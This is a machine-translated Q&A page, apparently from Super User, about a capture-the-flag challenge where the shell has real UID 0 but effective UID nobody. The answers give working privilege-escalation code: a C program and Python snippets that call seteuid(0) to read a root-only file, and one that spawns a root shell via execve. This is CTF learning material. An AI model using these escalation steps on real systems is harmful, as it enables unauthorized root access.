![UID 是 root 但 whoami 說沒人](https://rvso.com/image/1618348/UID%20%E6%98%AF%20root%20%E4%BD%86%20whoami%20%E8%AA%AA%E6%B2%92%E4%BA%BA.png)
我正在參加一場奪旗競賽,我必須實施某種形式的權限升級才能讀取該flag.txt
檔案。我注意到,當我運行時,whoami
我得到以下結果:
myHostHere:/$ whoami
nobody
但是當我運行時,id
我的 UID 設定為root
:
myHostHere:/$ id
uid=0(root) gid=65534(nobody) euid=65534(nobody)
這是否意味著我可以充當 root 用戶等,或者我是否誤解了輸出?
編輯:
的輸出ls -l flag.txt
如下:
-r--r----- 1 root root 34 Feb 10 12:00 flag.txt
答案1
--static
這可以透過在單獨的機器上編寫和編譯(使用)C 程式來解決,如下所示:
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
void main() {
seteuid(0);
setgid(0);
system("cat flag.txt");
}
可以將該檔案複製到 CTF 計算機,並授予執行權限chmod +x
,並從該tmp
資料夾執行。
答案2
我創建了一個與您非常相似的設定。我用調試器完成了它(示例:這裡和那裡)。在受影響的外殼中,我有:
$ whoami
nobody
$ id
uid=0(root) gid=65534(nogroup) euid=65534(nobody) groups=65534(nogroup)
$
然後,根據這個答案:
文件訪問,以及需要root權限的操作,查看有效UID和GID。
事實上,發生的事情是這樣的:
$ ls -l flag.txt
---------- 1 root root 4 Mar 17 08:57 flag.txt
$ cat flag.txt
cat: flag.txt: Permission denied
$
但我可以這樣做:
$ sudo cat flag.txt
foo
或這個:
$ su -
# whoami
root
# cat flag.txt
foo
或這個:
$ sg root 'cat flag.txt'
foo
當您擁有 時uid=0
,任何可以使用seteuid
系統呼叫然後讀取檔案的東西都可以幫助您。例如python
:
import os
os.seteuid(0)
f = open('flag.txt', 'r')
print f.read()
f.close()
您可以產生一個提升的 shell,而不是(或除了)讀取檔案:
import os
os.seteuid(0)
os.execve("/bin/sh", [], {})
在這個外殼中,你是root
;cat flag.txt
將工作。
測試平台:Debian GNU/Linux 9。